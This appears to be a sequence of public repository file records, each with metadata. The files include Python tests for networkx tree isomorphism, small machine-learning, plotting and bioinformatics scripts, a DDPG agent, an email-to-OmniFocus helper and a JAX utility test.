853d4cec42071b76a80be38c58ffe0fbf9b9dc34

/venv/Lib/site-packages/networkx/algorithms/isomorphism/tests/test_tree_isomorphism.py

3082365a4bb61f2d8c99fcddb56c72e2af1d0aeb

[]

no_license

msainTesting/TwitterAnalysis

5e1646dbf40badf887a86e125ef30a9edaa622a4

b1204346508ba3e3922a52380ead5a8f7079726b

refs/heads/main

2023-08-28T08:29:28.924620

2021-11-04T12:36:30

424,242,582

0

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UTF-8

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py

import networkx as nx import random import time from networkx.classes.function import is_directed from networkx.algorithms.isomorphism.tree_isomorphism import ( rooted_tree_isomorphism, tree_isomorphism, ) # have this work for graph # given two trees (either the directed or undirected) # transform t2 according to the isomorphism # and confirm it is identical to t1 # randomize the order of the edges when constructing def check_isomorphism(t1, t2, isomorphism): # get the name of t1, given the name in t2 mapping = {v2: v1 for (v1, v2) in isomorphism} # these should be the same d1 = is_directed(t1) d2 = is_directed(t2) assert d1 == d2 edges_1 = [] for (u, v) in t1.edges(): if d1: edges_1.append((u, v)) else: # if not directed, then need to # put the edge in a consistent direction if u < v: edges_1.append((u, v)) else: edges_1.append((v, u)) edges_2 = [] for (u, v) in t2.edges(): # translate to names for t1 u = mapping[u] v = mapping[v] if d2: edges_2.append((u, v)) else: if u < v: edges_2.append((u, v)) else: edges_2.append((v, u)) return sorted(edges_1) == sorted(edges_2) def test_hardcoded(): print("hardcoded test") # define a test problem edges_1 = [ ("a", "b"), ("a", "c"), ("a", "d"), ("b", "e"), ("b", "f"), ("e", "j"), ("e", "k"), ("c", "g"), ("c", "h"), ("g", "m"), ("d", "i"), ("f", "l"), ] edges_2 = [ ("v", "y"), ("v", "z"), ("u", "x"), ("q", "u"), ("q", "v"), ("p", "t"), ("n", "p"), ("n", "q"), ("n", "o"), ("o", "r"), ("o", "s"), ("s", "w"), ] # there are two possible correct isomorphisms # it currently returns isomorphism1 # but the second is also correct isomorphism1 = [ ("a", "n"), ("b", "q"), ("c", "o"), ("d", "p"), ("e", "v"), ("f", "u"), ("g", "s"), ("h", "r"), ("i", "t"), ("j", "y"), ("k", "z"), ("l", "x"), ("m", "w"), ] # could swap y and z isomorphism2 = [ ("a", "n"), ("b", "q"), ("c", "o"), ("d", "p"), ("e", "v"), ("f", "u"), ("g", "s"), ("h", "r"), ("i", "t"), ("j", "z"), ("k", "y"), ("l", "x"), ("m", "w"), ] t1 = nx.Graph() t1.add_edges_from(edges_1) root1 = "a" t2 = nx.Graph() t2.add_edges_from(edges_2) root2 = "n" isomorphism = sorted(rooted_tree_isomorphism(t1, root1, t2, root2)) # is correct by hand assert (isomorphism == isomorphism1) or (isomorphism == isomorphism2) # check algorithmically assert check_isomorphism(t1, t2, isomorphism) # try again as digraph t1 = nx.DiGraph() t1.add_edges_from(edges_1) root1 = "a" t2 = nx.DiGraph() t2.add_edges_from(edges_2) root2 = "n" isomorphism = sorted(rooted_tree_isomorphism(t1, root1, t2, root2)) # is correct by hand assert (isomorphism == isomorphism1) or (isomorphism == isomorphism2) # check algorithmically assert check_isomorphism(t1, t2, isomorphism) # randomly swap a tuple (a,b) def random_swap(t): (a, b) = t if random.randint(0, 1) == 1: return (a, b) else: return (b, a) # given a tree t1, create a new tree t2 # that is isomorphic to t1, with a known isomorphism # and test that our algorithm found the right one def positive_single_tree(t1): assert nx.is_tree(t1) nodes1 = [n for n in t1.nodes()] # get a random permutation of this nodes2 = nodes1.copy() random.shuffle(nodes2) # this is one isomorphism, however they may be multiple # so we don't necessarily get this one back someisomorphism = [(u, v) for (u, v) in zip(nodes1, nodes2)] # map from old to new map1to2 = {u: v for (u, v) in someisomorphism} # get the edges with the transformed names edges2 = [random_swap((map1to2[u], map1to2[v])) for (u, v) in t1.edges()] # randomly permute, to ensure we're not relying on edge order somehow random.shuffle(edges2) # so t2 is isomorphic to t1 t2 = nx.Graph() t2.add_edges_from(edges2) # lets call our code to see if t1 and t2 are isomorphic isomorphism = tree_isomorphism(t1, t2) # make sure we got a correct solution # although not necessarily someisomorphism assert len(isomorphism) > 0 assert check_isomorphism(t1, t2, isomorphism) # run positive_single_tree over all the # non-isomorphic trees for k from 4 to maxk # k = 4 is the first level that has more than 1 non-isomorphic tree # k = 13 takes about 2.86 seconds to run on my laptop # larger values run slow down significantly # as the number of trees grows rapidly def test_positive(maxk=14): print("positive test") for k in range(2, maxk + 1): start_time = time.time() trial = 0 for t in nx.nonisomorphic_trees(k): positive_single_tree(t) trial += 1 print(k, trial, time.time() - start_time) # test the trivial case of a single node in each tree # note that nonisomorphic_trees doesn't work for k = 1 def test_trivial(): print("trivial test") # back to an undirected graph t1 = nx.Graph() t1.add_node("a") root1 = "a" t2 = nx.Graph() t2.add_node("n") root2 = "n" isomorphism = rooted_tree_isomorphism(t1, root1, t2, root2) assert isomorphism == [("a", "n")] assert check_isomorphism(t1, t2, isomorphism) # test another trivial case where the two graphs have # different numbers of nodes def test_trivial_2(): print("trivial test 2") edges_1 = [("a", "b"), ("a", "c")] edges_2 = [("v", "y")] t1 = nx.Graph() t1.add_edges_from(edges_1) t2 = nx.Graph() t2.add_edges_from(edges_2) isomorphism = tree_isomorphism(t1, t2) # they cannot be isomorphic, # since they have different numbers of nodes assert isomorphism == [] # the function nonisomorphic_trees generates all the non-isomorphic # trees of a given size. Take each pair of these and verify that # they are not isomorphic # k = 4 is the first level that has more than 1 non-isomorphic tree # k = 11 takes about 4.76 seconds to run on my laptop # larger values run slow down significantly # as the number of trees grows rapidly def test_negative(maxk=11): print("negative test") for k in range(4, maxk + 1): test_trees = list(nx.nonisomorphic_trees(k)) start_time = time.time() trial = 0 for i in range(len(test_trees) - 1): for j in range(i + 1, len(test_trees)): trial += 1 assert tree_isomorphism(test_trees[i], test_trees[j]) == [] print(k, trial, time.time() - start_time)

[ "msaineti@icloud.com" ]

msaineti@icloud.com

d9fd3e3f6f7c3d6c386072c39ae5b4202edd2d08

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/Cross-Validation/validacao_cruzada_cross_val_score.py

5c5d20ef1eee0fe967bf20593a4b9ef4a4db4711

[]

no_license

guilhermelamb/Machine-Learning-Studies

e919c74f4b881c049b87b46191e65f3f77235d13

1abff5a0a063636468b00c68015f1a8c8b058757

refs/heads/main

2023-08-19T07:55:01.538452

2021-10-12T15:13:05

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import pandas as pd import numpy as np from sklearn.preprocessing import StandardScaler from sklearn.impute import SimpleImputer from sklearn.model_selection import cross_val_score from sklearn.naive_bayes import GaussianNB base = pd.read_csv('credit_data.csv') base.loc[base.age < 0, 'age'] = 40.92 previsores = base.iloc[:, 1:4].values classe = base.iloc[:,4].values imputer = SimpleImputer(missing_values = np.nan, strategy='mean') imputer = imputer.fit(previsores[:,1:4]) previsores[:,1:4] = imputer.transform(previsores[:,1:4]) scaler = StandardScaler() previsores = scaler.fit_transform(previsores) classificador = GaussianNB() resultados = cross_val_score(classificador, previsores, classe, cv = 10) resultado_final = resultados.mean() resultado_std = resultados.std()

[ "guilhermelamb@gmail.com" ]

guilhermelamb@gmail.com

19414b707e9497314917d44fc6119c2108d592fe

833f76620c02f4a02a19b3a2e13b0de6b947a28a

/agent.py

cb3a86f7f5228415e5fae3aa84580b222a4b80d4

[]

no_license

dszokolics/deepRL-continuous-control

0bf9af540b1cd4211da5f018a8f57fb7b6dcf0aa

6dfcb247fa792bcd794bf481a1cea1cb84f3a073

refs/heads/master

2023-04-27T17:18:34.014978

2021-05-16T10:24:16

367,846,375

0

null

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py

import numpy as np import random import copy from collections import namedtuple, deque import torch import torch.nn.functional as F import torch.optim as optim from model import Actor, Critic device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") class Agent(): """Interacts with and learns from the environment.""" def __init__(self, state_size, action_size, random_seed, num_agents, agent_params): """Initialize an Agent object. Based on https://github.com/udacity/deep-reinforcement-learning/blob/master/ddpg-pendulum/ddpg_agent.py Params ====== state_size (int): dimension of each state action_size (int): dimension of each action random_seed (int): random seed """ self.state_size = state_size self.action_size = action_size self.seed = random.seed(random_seed) self.params = agent_params # Actor Network (w/ Target Network) self.actor_local = Actor(state_size, action_size, random_seed).to(device) self.actor_target = Actor(state_size, action_size, random_seed).to(device) self.actor_optimizer = optim.Adam(self.actor_local.parameters(), lr=self.params["lr_actor"]) # Critic Network (w/ Target Network) self.critic_local = Critic(state_size, action_size, random_seed).to(device) self.critic_target = Critic(state_size, action_size, random_seed).to(device) self.critic_optimizer = optim.Adam( self.critic_local.parameters(), lr=self.params["lr_critic"], weight_decay=self.params["weight_decay"] ) # Noise process self.noise = OUNoise(action_size, random_seed, num_agents) # Replay memory self.memory = ReplayBuffer(action_size, self.params["buffer_size"], self.params["batch_size"], random_seed) self.steps_since_last_update = 0 def step(self, state, action, reward, next_state, done): """Save experience in replay memory, and use random sample from buffer to learn.""" # Save experience / reward self.memory.add(state, action, reward, next_state, done) self.steps_since_last_update += 1 # Learn, if enough samples are available in memory if len(self.memory) > self.params["batch_size"]: if self.steps_since_last_update % self.params["update_every"]: for _ in range(self.params["update_batch_number"]): experiences = self.memory.sample() self.learn(experiences, self.params["gamma"]) def act(self, state, add_noise=True): """Returns actions for given state as per current policy.""" state = torch.from_numpy(state).float().to(device) self.actor_local.eval() with torch.no_grad(): action = self.actor_local(state).cpu().data.numpy() self.actor_local.train() if add_noise: action += self.noise.sample() return np.clip(action, -1, 1) def reset(self): self.noise.reset() def learn(self, experiences, gamma): """Update policy and value parameters using given batch of experience tuples. Q_targets = r + γ * critic_target(next_state, actor_target(next_state)) where: actor_target(state) -> action critic_target(state, action) -> Q-value Params ====== experiences (Tuple[torch.Tensor]): tuple of (s, a, r, s', done) tuples gamma (float): discount factor """ states, actions, rewards, next_states, dones = experiences # ---------------------------- update critic ---------------------------- # # Get predicted next-state actions and Q values from target models actions_next = self.actor_target(next_states) Q_targets_next = self.critic_target(next_states, actions_next) # Compute Q targets for current states (y_i) Q_targets = rewards + (gamma * Q_targets_next * (1 - dones)) # Compute critic loss Q_expected = self.critic_local(states, actions) critic_loss = F.mse_loss(Q_expected, Q_targets) # Minimize the loss self.critic_optimizer.zero_grad() critic_loss.backward() torch.nn.utils.clip_grad_norm_(self.critic_local.parameters(), 1) self.critic_optimizer.step() # ---------------------------- update actor ---------------------------- # # Compute actor loss actions_pred = self.actor_local(states) actor_loss = -self.critic_local(states, actions_pred).mean() # Minimize the loss self.actor_optimizer.zero_grad() actor_loss.backward() torch.nn.utils.clip_grad_norm_(self.critic_local.parameters(), 1) self.actor_optimizer.step() # ----------------------- update target networks ----------------------- # self.soft_update(self.critic_local, self.critic_target, self.params["tau"]) self.soft_update(self.actor_local, self.actor_target, self.params["tau"]) def soft_update(self, local_model, target_model, tau): """Soft update model parameters. θ_target = τ*θ_local + (1 - τ)*θ_target Params ====== local_model: PyTorch model (weights will be copied from) target_model: PyTorch model (weights will be copied to) tau (float): interpolation parameter """ for target_param, local_param in zip(target_model.parameters(), local_model.parameters()): target_param.data.copy_(tau*local_param.data + (1.0-tau)*target_param.data) class OUNoise: """Ornstein-Uhlenbeck process. https://github.com/udacity/deep-reinforcement-learning/blob/master/ddpg-pendulum/ddpg_agent.py """ def __init__(self, action_size, seed, num_agents, mu=0., theta=0.2, sigma=0.25): """Initialize parameters and noise process.""" self.mu = mu * np.ones((num_agents, action_size)) self.theta = theta self.sigma = sigma self.seed = random.seed(seed) self.reset() def reset(self): """Reset the internal state (=noise) to mean (mu).""" self.state = copy.copy(self.mu) def sample(self): """Update internal state and return it as a noise sample""" x = self.state dx = self.theta * (self.mu - x) + self.sigma * (np.random.standard_normal(size=x.shape)) self.state = x + dx return self.state class ReplayBuffer: """Fixed-size buffer to store experience tuples.""" def __init__(self, action_size, buffer_size, batch_size, seed): """Initialize a ReplayBuffer object. https://github.com/udacity/deep-reinforcement-learning/blob/master/ddpg-pendulum/ddpg_agent.py Params ====== buffer_size (int): maximum size of buffer batch_size (int): size of each training batch """ self.action_size = action_size self.memory = deque(maxlen=buffer_size) # internal memory (deque) self.batch_size = batch_size self.experience = namedtuple("Experience", field_names=["state", "action", "reward", "next_state", "done"]) self.seed = random.seed(seed) def add(self, state, action, reward, next_state, done): """Add a new experience to memory.""" for s, a, r, s_next, d in zip(state, action, reward, next_state, done): e = self.experience(s, a, r, s_next, d) self.memory.append(e) def sample(self): """Randomly sample a batch of experiences from memory.""" experiences = random.sample(self.memory, k=self.batch_size) states = torch.from_numpy(np.vstack([e.state for e in experiences if e is not None])).float().to(device) actions = torch.from_numpy(np.vstack([e.action for e in experiences if e is not None])).float().to(device) rewards = torch.from_numpy(np.vstack([e.reward for e in experiences if e is not None])).float().to(device) next_states = ( torch.from_numpy(np.vstack([e.next_state for e in experiences if e is not None])).float().to(device) ) dones = ( torch.from_numpy(np.vstack([e.done for e in experiences if e is not None]).astype(np.uint8)) .float().to(device) ) return (states, actions, rewards, next_states, dones) def __len__(self): """Return the current size of internal memory.""" return len(self.memory)

[ "daniel.szokolics@gmail.com" ]

daniel.szokolics@gmail.com

f37f65c77fc2cbe630313fe9779572d9243628eb

96aa2367affe0dff353e1aaac8713ded087c5f68

/utils/spiderPlot_SA.py

335ed09082b623795670281ed3731ae77c81e7d3

[ "Apache-2.0" ]

permissive

NMTHydro/Recharge

0fcca9a72b631d6c3834c62b84dfb096da6cb210

bbc1a05add92064acffeffb19f04e370b99a7918

refs/heads/develop

2020-05-21T17:39:37.702622

2020-04-08T17:10:40

60,631,952

8

1

null

2016-10-26T17:01:21

2016-06-07T17:13:30

Python

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5,333

py

# =============================================================================== # Copyright 2016 dgketchum # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance # with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # =============================================================================== # =================================IMPORTS======================================= import os import matplotlib.pyplot as plt from matplotlib import rc from numpy import linspace, array, add, multiply, set_printoptions from pandas import read_pickle, set_option, options def round_to_value(number, roundto): return round(number / roundto) * roundto rc('mathtext', default='regular') set_option('display.max_rows', None) set_option('display.max_columns', None) set_option('display.width', None) set_option('display.precision', 3) options.display.float_format = '${:,.2f}'.format set_printoptions(threshold=3000, edgeitems=5000, precision=3) set_option('display.height', None) set_option('display.max_rows', None) TEMPS = range(-5, 6) ALL_PCT = [x * 0.1 for x in range(5, 16)] ndvi_range = linspace(0.9, 1.7, 11) NDVI_RANGE = array([round_to_value(x, 0.05) for x in ndvi_range]) def make_spider_plot(dataframe, ndvi, all_pct, temps, fig_path=None, show=False): display_pct = [(int(x)) for x in add(multiply(all_pct, 100.0), -100)] dfs = os.listdir(dataframe) print 'pickled dfs: {}'.format(dfs) filename = '_basic_sensitivity_2.pkl' if filename in dfs: df = read_pickle(os.path.join(dataframe, filename)) df.to_csv(os.path.join(fig_path, 'sample_df_basic_2.csv')) pass print df xx = 1 for index, row in df.iterrows(): fig = plt.figure(xx, figsize=(20, 10)) ax1 = fig.add_subplot(111) ax2 = ax1.twiny() ax3 = ax1.twiny() fig.subplots_adjust(bottom=0.2) print 'shape temps: {}, shape row[0]: {}'.format(len(temps), len(row[0])) ax2.plot(temps, row[0], 'black', label='Temperature (+/- 5 deg C)', marker='8') ax1.plot(display_pct, row[1], 'blue', label='Precipitation (+/- 50%)', marker='8') ax1.plot(display_pct, row[2], 'purple', label='Reference Evapotranspiration (+/- 50%)', marker='8') ax1.plot(display_pct, row[3], 'brown', label='Total Available Water (+/- 50%)', marker='8') ax3.plot(ndvi, row[4], 'green', linestyle='-.', label='Normalized Density Vegetation\n' ' Index Conversion Factor (0.9 - 1.8)', marker='8') ax1.plot(display_pct, row[5], 'red', label='Soil Hydraulic Conductivity (+/- 50%)', marker='8') ax1.set_xlabel(r"Parameter Change (%)", fontsize=16) ax1.set_ylabel(r"Total Recharge in 14-Year Simulation (mm)", fontsize=16) ax2.set_xlabel(r"Temperature Change (C)", fontsize=16) ax2.xaxis.set_ticks_position("bottom") ax2.xaxis.set_label_position("bottom") ax2.spines["bottom"].set_position(("axes", -0.15)) ax2.set_frame_on(True) ax2.patch.set_visible(False) for sp in ax2.spines.itervalues(): sp.set_visible(False) ax2.spines['bottom'].set_visible(True) ax3.set_xlabel(r"NDVI to Crop Coefficient Conversion Factor", fontsize=16) ax3.xaxis.set_ticks_position("top") ax3.xaxis.set_label_position("top") # ax3.spines["top"].set_position(("axes", 1.0)) ax3.set_frame_on(True) ax3.patch.set_visible(False) for sp in ax3.spines.itervalues(): sp.set_visible(False) ax3.spines['top'].set_visible(True) plt.title('Variation of ETRM Pysical Parameters at {}'.format(str(index).replace('_', ' ')), y=1.08, fontsize=20) handle1, label1 = ax1.get_legend_handles_labels() handle2, label2 = ax2.get_legend_handles_labels() handle3, label3 = ax3.get_legend_handles_labels() handles, labels = handle1 + handle2 + handle3, label1 + label2 + label3 ax1.legend(handles, labels, loc=0) if show: plt.show() # if fig_path: # plt.savefig(os.path.join(fig_path, '{}_spider'.format(index)), dpi=600, ext='jpg', close=True, # verbose=True) plt.close(fig) if __name__ == '__main__': root = os.path.join('F:\\', 'ETRM_Inputs') sensitivity = os.path.join(root, 'sensitivity_analysis') pickles = os.path.join(sensitivity, 'pickled') figure_save_path = os.path.join(sensitivity, 'figures') make_spider_plot(pickles, NDVI_RANGE, ALL_PCT, TEMPS, figure_save_path, show=True) # ========================== EOF ==============================================

[ "dgketchum@gmail.com" ]

dgketchum@gmail.com

bcb16b3b56244d6ba5fc6daf20ec87ed4180b1ca

256afbb25a57bdc54b2c3e3e3fc7832c31c8467f

/mutt-to-omnifocus.py

224765e49122746dd7328bb35dbb13f24b8b17d3

[]

no_license

jeauxlb/mutt-to-omnifocus

a3b3ba29ff83220c1ce5f52ba351d44e6bad3ac7

5d19b109057eeaad1c600c4e0d5dccc952a03546

refs/heads/master

2021-01-19T08:26:52.169184

2019-11-03T13:02:26

87,630,521

0

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UTF-8

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#!/usr/bin/env python import sys import os import getopt import email.parser import subprocess from email.header import decode_header def usage(): print """ Take an RFC-compliant e-mail message on STDIN and add a corresponding task to the OmniFocus inbox for it. Options: -h, --help Display this help text. -q, --quick-entry Use the quick entry panel instead of directly creating a task. """ def applescript_escape(string): """Applescript requires backslashes and double quotes to be escaped in string. This returns the escaped string. """ if string is not None: # Backslashes first (else you end up escaping your escapes) string = string.replace('\\', '\\\\') # Then double quotes string = string.replace('"', '\\"') return string def parse_message(raw): """Parse a string containing an e-mail and produce a list containing the significant headers. Each element is a tuple containing the name and content of the header (list of tuples rather than dictionary to preserve order). """ # Create a Message object message = email.parser.Parser().parsestr(raw, headersonly=True) # Extract relevant headers list = [("Date", message.get("Date")), ("From", message.get("From")), # ("Subject", message.get("Subject")), ("Message-ID", message.get("Message-ID"))] try: sub, encoding = decode_header(message.get("Subject"))[0] sub = sub.replace('\n', ''); pipe = subprocess.Popen(['/Users/joel/bin/item_name.sh', sub], stdout=subprocess.PIPE) subject, error = pipe.communicate() list.append(["Subject", subject.rstrip('\n')]) except KeyboardInterrupt: print "" sys.exit() return list def send_to_omnifocus(params, quickentry=False): """Take the list of significant headers and create an OmniFocus inbox item from these. """ # name and note of the task (escaped as per applescript_escape()) name = "%s" % applescript_escape(dict(params)["Subject"]) note = "\n".join(["%s: %s" % (k, applescript_escape(v)) for (k, v) in params]) # Write the Applescript if quickentry: applescript = """ tell application "OmniFocus" tell default document tell quick entry open make new inbox task with properties {name: "%s", note:"%s"} select tree 1 set note expanded of tree 1 to true end tell end tell end tell """ % (name, note) else: applescript = """ tell application "OmniFocus" tell default document make new inbox task with properties {name: "%s", note:"%s"} end tell end tell """ % (name, note) # Use osascript and a heredoc to run this Applescript os.system("\n".join(["osascript >/dev/null << EOT", applescript, "EOT"])) def main(): # Check for options try: opts, args = getopt.getopt(sys.argv[1:], "hq", ["help", "quick-entry"]) except getopt.GetoptError: usage() sys.exit(-1) # If an option was specified, do the right thing for opt, arg in opts: if opt in ("-h", "--help"): usage() sys.exit(0) elif opt in ("-q", "--quick-entry"): raw = sys.stdin.read() send_to_omnifocus(parse_message(raw), quickentry=True) sys.exit(0) # Otherwise fall back to standard operation raw = sys.stdin.read() send_to_omnifocus(parse_message(raw), quickentry=False) sys.exit(0) if __name__ == "__main__": main()

[ "github@spam.joelbuckley.com.au" ]

github@spam.joelbuckley.com.au

b5dd9c0170e9576edc3884cda967bd39951aad8f

13fa6b903547618d567c3284b9dc637024800947

/Código-fonte/navigation/SLAM/map_view.py

0d40fc571f4a21cc1956f3e290760dd3e68519b6

[]

no_license

EvoSystems-com-br/IniciacaoCientifica2018_ProjetoDrones

cc5a8a91dbc007cad85000a31465ed3950980bd1

8af0ca6930b326ae7bc0cd7bb9aa2d6aa62bceeb

refs/heads/master

2020-03-26T11:49:31.933492

2018-10-30T19:41:16

144,861,611

0

3

null

2018-10-30T19:41:19

2018-08-15T14:11:58

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UTF-8

Python

false

2,335

py

import cv2 import time import math import numpy as np PIXEL_RATE = 1.75 OFFSET_X = 60 OFFSET_Y = 50 RANGE_Y = 150 CIRCLE_RADIO = 15 MARKER_SIZE = 20 class MapView(): def __init__(self): self.esquema = cv2.imread("data/esquema.png") self.esquema = cv2.resize(self.esquema, (480, 360)) self.drone = cv2.imread("data/drone.png") self.drone = cv2.resize(self.drone, (48, 36)) self.updateMap([[50], [0],[180]]) def updateMap(self, X): self.map = self.esquema.copy() self.drawDrone(X[0][0], X[1][0], X[2][0]) n_marker = int((len(X)/3) - 1) for i in range(n_marker): x1 = X[3+3*i][0] y1 = X[4+3*i][0] beta = X[5+3*i][0] *3.14/180 x2 = x1 - MARKER_SIZE*math.sin(beta) y2 = y1 + MARKER_SIZE*math.cos(beta) #Transforma coordenada em cm para coordenada em pixel coord_x1 = int(OFFSET_X + x1*PIXEL_RATE) coord_y1 = int(OFFSET_Y + (RANGE_Y-y1)*PIXEL_RATE) coord_x2 = int(OFFSET_X + x2*PIXEL_RATE) coord_y2 = int(OFFSET_Y + (RANGE_Y-y2)*PIXEL_RATE) self.map = cv2.line(self.map, (coord_x1, coord_y1), (coord_x2, coord_y2), (19, 69,139), 5) def drawDrone(self, x, y, alpha): #Transforma coordenada em cm para coordenada em pixel coord_x = int(OFFSET_X + x*PIXEL_RATE) coord_y = int(OFFSET_Y + (RANGE_Y-y)*PIXEL_RATE) cv2.circle(self.map, (coord_x, coord_y), CIRCLE_RADIO, (255, 0, 0), -1) #desenha a orientação do drone p1_x = coord_x + CIRCLE_RADIO*math.cos((alpha+30)*3.14/180) p1_y = coord_y - CIRCLE_RADIO*math.sin((alpha+30)*3.14/180) p2_x = coord_x + CIRCLE_RADIO*math.cos((alpha-30)*3.14/180) p2_y = coord_y - CIRCLE_RADIO*math.sin((alpha-30)*3.14/180) p3_x = coord_x + 2*CIRCLE_RADIO*math.cos((alpha)*3.14/180) p3_y = coord_y - 2*CIRCLE_RADIO*math.sin((alpha)*3.14/180) pts = np.array([[p1_x, p1_y],[p2_x,p2_y],[p3_x,p3_y]], np.int32) pts = pts.reshape((-1,1,2)) cv2.fillPoly(self.map,[pts],(255,0,0)) def showMap(self): while(True): cv2.imshow("mapa", self.map) if cv2.waitKey(100) & 0xFF == ord('q'): break

[ "leonardotkimura@gmail.com" ]

leonardotkimura@gmail.com

4278e7b7f4ccb1865e1fc8e2c19350fb3bfb8177

2556d0bed5e90489ec8c93ad033db00b235e3de0

/main.py

e5979e99101b749dfa72a25e15f20ec0069e877e

[]

no_license

weichih654/movie_review

dd08392d029c3d7614178e5c49e97b6c973f659b

47fabf41262318568bd7dbcafb34e0acb531b674

refs/heads/master

2021-01-10T02:14:22.864684

2016-03-21T11:01:23

49,113,499

0

null

UTF-8

Python

false

362

py

from libs.movie_review import MovieReview from libs.review_searcher import ReviewSeacher from libs.matcher import Matcher if __name__ == "__main__": searcher = ReviewSeacher("test") reviews = [] reviews = searcher.reviews for r in reviews: review = MovieReview(r) print "link = " + r print "content = " + review.content

[ "weichih654@gmail.com" ]

weichih654@gmail.com

42d0987e6e1898a0e5f60a297e7db42a013fab6d

bcf332d2f6ef6970cfaa480400a112ecee3f16b8

/stage07-artist2/s1level42.py

c5f34c2ae0814db387a0d43027c8ee7cd714f9b1

[ "Unlicense" ]

permissive

skilstak/code-dot-org-python

e1907d29f3727060e5064a5eefd68a0f9f4f5c70

ba127124386ecfdc20bd84592b3c271f8205d748

refs/heads/master

2020-04-04T19:34:23.531210

2015-07-10T12:39:19

26,862,410

7

4

null

2014-11-21T20:28:20

2014-11-19T13:24:30

Python

UTF-8

Python

false

465

py

"""Stage 7: Puzzle 8 of 11 Here's the solution to the previous puzzle. Can you add just 2 more lines of code to complete the drawing? """ import sys sys.path.append('..') import codestudio artist = codestudio.load('s1level42') artist.speed = 'faster' a = artist for count2 in range(10): artist.color = artist.random_color() for count in range(4): artist.move_forward(20) artist.turn_right(90) artist.move_forward(20) artist.check()

[ "rob@skilstak.com" ]

rob@skilstak.com

d022c401cac71d8aef3ec744f424139b4bfc884d

88ca4006c4d624320002c3f939f27e2ba3a59a5a

/ch6_queue.py

53936cf17d2c92ec70739941c09ef32b7b45e402

[]

no_license

sunice/PythonPractice

28dcf2bb5666f19e538c31783063f65b830ba7c3

64a4feb354fd84f64e193a8c5e62364fb50541bc

refs/heads/master

2016-09-06T12:50:51.491985

2015-05-25T00:49:51

35,148,274

0

null

UTF-8

Python

false

712

py

queue = [] def enQ(): queue.append(raw_input(' Enter New string: ').strip()) def deQ(): if len(queue) == 0: print 'Cannot pop from an empty queue!' else: print 'Removed [', `queue.pop(0)`, ']' def viewQ(): print queue CMDs = {'e': enQ, 'd': deQ, 'v': viewQ} def showmenu(): pr = """ (E)nqueue (D)equeue (V)iew (Q)uit Enter choice: """ while True: while True: try: choice = raw_input(pr).strip()[0].lower() except (EOFError, KeyboardInterrupt, IndexError): choice = 'q' print '\nYou picked: [%s]' % choice if choice not in 'devq': print 'Invalid option, try again' else: break if choice == 'q': break CMDs[choice]() if __name__ == '__main__': showmenu()

[ "izhang@microstrategy.com" ]

izhang@microstrategy.com

6ab95716a6bff065c2b13765723aee7964f0a87a

ef25f5fe6b74e2c84dd299de2e23c3487f9b0746

/python_exc/gff_to_gtf.py

8b9f067f870b1ab50db3376e17259da74df17ba1

[]

no_license

feifei/python

32da1cb18ce19a05a62fc334ba4aab902b2cd0af

f0eaa69d5ca011e3075f9af56ef3aa756178e5e3

refs/heads/main

2023-05-30T19:14:06.132356

2021-06-04T13:45:03

342,535,711

0

null

UTF-8

Python

false

1,515

py

#!/usr/bin/env python ''' Convert GFF3 file to GTF, only tested on EupathDB output, which is not a standard GFF3 file ''' import os, re import argparse parser = argparse.ArgumentParser(description='Convert gff3 file to gtf file') parser.add_argument('gff_file') args = parser.parse_args() gff_file = args.gff_file basename, extension = os.path.splitext(gff_file) gtf_file = basename + ".gtf" with open (gff_file, 'r') as inh, open(gtf_file, 'w') as outh: for line in inh: if line.startswith("#"): continue scfid, source, feature, start, end, score, strand, frame, attr = line.split("\t") if feature == "gene": gene_id = re.match("ID=(.*?);", attr).group(1) new_attr = "gene_id \"%s\";" %gene_id transcript_id = gene_id + "_t" elif feature == "exon": exon_id = re.match("ID=(.*?);", attr).group(1) exon_number = re.search("-(\d+)$", exon_id).group(1) new_attr = "gene_id \"%s\"; transcript_id \"%s\"; exon_number \"%s\"; exon_id \"%s\";" %(gene_id, transcript_id, exon_number, exon_id) else: continue print >>outh, "\t".join([scfid, source, feature, start, end, score, strand, frame, new_attr]) if feature == "gene": new_attr = "gene_id \"%s\"; transcript_id \"%s\";" %(gene_id, transcript_id) print >>outh, "\t".join([scfid, source, "transcript", start, end, score, strand, frame, new_attr])

[ "feifei.xu@ebc.uu.se" ]

feifei.xu@ebc.uu.se

9592e0575d2287aeb96b002e0a67d11474e08684

b83e9ded5aa46bf7c79a6cbce8a239a4ca0b38ba

/tests/utils_test.py

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pnickl/neural-tangents

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refs/heads/master

2022-12-27T03:48:29.453417

2020-09-30T17:21:22

2020-10-01T00:44:19

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# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for `utils/predict.py`.""" from absl.testing import absltest from jax import test_util as jtu from jax.api import device_get from jax.api import jit from jax.config import config from jax.lib import xla_bridge import jax.numpy as np import jax.random as random from neural_tangents.utils import utils config.parse_flags_with_absl() config.update('jax_numpy_rank_promotion', 'raise') class UtilsTest(jtu.JaxTestCase): def testIsOnCPU(self): for dtype in [np.float32, np.float64]: with self.subTest(dtype=dtype): def x(): return random.normal(random.PRNGKey(1), (2, 3), dtype) def x_cpu(): return device_get(random.normal(random.PRNGKey(1), (2, 3), dtype)) x_jit = jit(x) # x_cpu_jit = jit(x_cpu) x_cpu_jit_cpu = jit(x_cpu, backend='cpu') self.assertTrue(utils.is_on_cpu(x_cpu())) # TODO(mattjj): re-enable this when device_put under jit works # self.assertTrue(utils.is_on_cpu(x_cpu_jit())) self.assertTrue(utils.is_on_cpu(x_cpu_jit_cpu())) if xla_bridge.get_backend().platform == 'cpu': self.assertTrue(utils.is_on_cpu(x())) self.assertTrue(utils.is_on_cpu(x_jit())) else: self.assertFalse(utils.is_on_cpu(x())) self.assertFalse(utils.is_on_cpu(x_jit())) if __name__ == '__main__': absltest.main()

[ "romann@google.com" ]

romann@google.com

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/ForGPU/KerasCnn5.py

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Annarien/GravitationalLenses

